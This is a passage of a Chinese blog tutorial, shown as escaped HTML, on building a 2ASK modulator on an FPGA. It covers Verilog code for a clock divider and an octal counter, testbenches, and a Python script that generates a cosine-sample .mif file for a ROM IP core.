003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003etestbench\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003etb_fenpin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e out8\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e out16\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e out256\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003efenpin fenpin_inst\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclk \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eout8 \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eout8\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eout16 \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eout16\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eout256 \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eout256\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真波形:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E5%88%86%E9%A2%91%E4%BB%BF%E7%9C%9F.png\"/\u003e\u003ch3 id=\"2-载波产生模块\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5f6b/#2-%E8%BD%BD%E6%B3%A2%E4%BA%A7%E7%94%9F%E6%A8%A1%E5%9D%97\" class=\"headerlink\" title=\"2. 载波产生模块\"\u003e\u003c/a\u003e2. 载波产生模块\u003c/h3\u003e\u003cp\u003e载波产生模块示意图:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E8%BD%BD%E6%B3%A2%E4%BA%A7%E7%94%9F%E6%A8%A1%E5%9D%97.png\"/\u003e\u003cblockquote\u003e\u003cp\u003e载波产生模块示意图如上图所示,其中clock为载波采样时钟,q[2:0]为计数器输出,q[7:0]输出为载波信号。载波产生模块由一个计数器和一个ROM构成,其中ROM中存储着一个载波周期的样点值,则计数器的进制设置为一个载波周期包含的样点数。本实验中一个载波周期取八个样点,计数器设置为八进制计数器,ROM和计数器均可使用IP核实现。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e结合示意图可以知道,载波产生模块又分为两部分:\u003cstrong\u003e八进制计数器\u003c/strong\u003e和\u003cstrong\u003eROM\u003c/strong\u003e。分开来写。\u003c/p\u003e\u003ch4 id=\"1)-八进制计数器\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5f6b/#1%EF%BC%89-%E5%85%AB%E8%BF%9B%E5%88%B6%E8%AE%A1%E6%95%B0%E5%99%A8\" class=\"headerlink\" title=\"1) 八进制计数器\"\u003e\u003c/a\u003e1) 八进制计数器\u003c/h4\u003e\u003cp\u003eq 的值每个时钟加1,从0加到7。\u003c/p\u003e\u003cp\u003e\u003ccode\u003elpm_counter0.v\u003c/code\u003e :\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e lpm_counter0 \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e q\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eq \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u0026#39;b111\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003etestbench\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003etb_lpm_counter0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e q\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003elpm_counter0 lpm_counter0_inst\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003eclk\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003eq\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eq\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真波形\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E8%AE%A1%E6%95%B0%E5%99%A8%E4%BB%BF%E7%9C%9F.png\"/\u003e\u003ch4 id=\"2)ROM\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5f6b/#2%EF%BC%89ROM\" class=\"headerlink\" title=\"2)ROM\"\u003e\u003c/a\u003e2)ROM\u003c/h4\u003e\u003cp\u003e使用 \u003cstrong\u003eIP核\u003c/strong\u003e ,照着野火的教程学了学。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://www.bilibili.com/video/BV17z411i7er/?p=46\"\u003e46-第二十六讲-ROM-IP核的调用(一)_哔哩哔哩_bilibili\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e经过大概分析,可以知道本实验使用 \u003cstrong\u003e单端口ROM\u003c/strong\u003e ,数据为 \u003cstrong\u003e8位宽\u003c/strong\u003e ,地址为 \u003cstrong\u003e3位宽\u003c/strong\u003e ,至少包含 \u003cstrong\u003e8个\u003c/strong\u003e 数据(采样了8个点),使用单时钟。\u003c/p\u003e\u003cp\u003e输出添加一个寄存器会延后两个周期输出。(原来延后一个,经过寄存器再延后一个。)\u003c/p\u003e\u003cp\u003e写操作是时钟的上升沿,读也是时钟的上升沿。\u003c/p\u003e\u003ch5 id=\"产生-mif-文件\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5f6b/#%E4%BA%A7%E7%94%9F-mif-%E6%96%87%E4%BB%B6\" class=\"headerlink\" title=\"产生 mif 文件\"\u003e\u003c/a\u003e产生 mif 文件\u003c/h5\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_44939178/article/details/112314742\"\u003ematlab生成.mif文件 产生正弦信号数据_橘子FPGA的博客-CSDN博客_matlab生成正弦信号\u003c/a\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e本实验中一个载波周期取八个样点。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e本次使用 \u003ccode\u003epython\u003c/code\u003e 进行生成\u003cdel\u003e(就8个点手写也行\u003c/del\u003e。\u003c/p\u003e\u003cp\u003e根据 \u003ccode\u003e.mif\u003c/code\u003e 文件的格式一句一句打印出来。\u003c/p\u003e\u003cp\u003e一个普通余弦信号周期为 $2\\pi$ ,取样8个点,就是 $cos(2{\\pi}\\times\\frac{x}{8})$ ;\u003c/p\u003e\u003cp\u003e数据位宽为8位,所表示的数据在0~255之间,所以需要将 $cos(2{\\pi}\\times\\frac{x-1}{8})$ 的幅值**-1~+1变化到0~255**。\u003c/p\u003e\u003cp\u003e具体做法是将 $cos(2{\\pi}\\times\\frac{x}{8})\\times128+128$ 。就是将原幅值变换至-128~+128,然后加上128,范围变为0~256。 \u003c/p\u003e\u003cp\u003e\u003ccode\u003epython\u003c/code\u003e 代码:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e mathpi \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e math\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003epifilename \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;sin_8x8.mif\u0026#34;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewith\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilename\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;w+\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eencoding\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;utf-8\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eas\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;WIDTH=8;\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;DEEPTH=8;\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;ADDRESS_RADIX=UNS;\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;DATA_RADIX=UNS;\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;CONTENT BEGIN\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"token builtin\"\u003erange\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e x \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003eint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003emath\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ecos\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003epi\u003cspan class=\"token operator\"\u003e*\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token number\"\u003e128\u003c/span\u003e\u003cspan class=\"token operator\"\u003e+\u003c/span\u003e\u003cspan class=\"token number\"\u003e128\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e x \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e256\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e x \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e x\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string-interpolation\"\u003e\u003cspan class=\"token string\"\u003ef\u0026#34;\u003c/span\u003e\u003cspan class=\"token interpolation\"\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token string\"\u003e:\u003c/span\u003e\u003cspan class=\"token interpolation\"\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003ex\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token string\"\u003e\\n\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;END;\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e效果(如果发现quartus报错就生成一个标准的mif文件然后把下面的复制进去替换:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-mif\" data-language=\"mif\"\u003e\u003ccode class=\"language-mif\"\u003eWIDTH=8;DEEPTH=8;ADDRESS_RADIX=UNS;DATA_RADIX=UNS;CONTENT BEGIN0:2551:2182:1283:374:05:376:1277:218END;\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/sin.png\"/\u003e\u003ch5 id=\"生成IP核\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5f6b/#%E7%94%9F%E6%88%90IP%E6%A0%B8\" class=\"headerlink\" title=\"生成IP核\"\u003e\u003c/a\u003e生成IP核\u003c/h5\u003e\u003cp\u003e注意深度选择的时候下拉没有8深度的选择,但是可以手动输入。\u003c/p\u003e\u003cp\u003e\u003cdel\u003e)不过我在其他文件调用ip核的时候一直仿真失败emm,所以ip核就直接用了,等我找到问题再看看。\u003c/del\u003e\u003c/p\u003e\u003ch5 id=\"编写代码及仿真\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5f6b/#%E7%BC%96%E5%86%99%E4%BB%A3%E7%A0%81%E5%8F%8A%E4%BB%BF%E7%9C%9F\" class=\"headerlink\" title=\"编写代码及仿真\"\u003e\u003c/a\u003e编写代码及仿真\u003c/h5\u003e\u003cp\u003e添加IP核,进行仿真。\u003c/p\u003e\u003cp\u003e\u003ccode\u003etestbench\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003etb_lpm_rom\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e address2\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e q\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e address2 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token 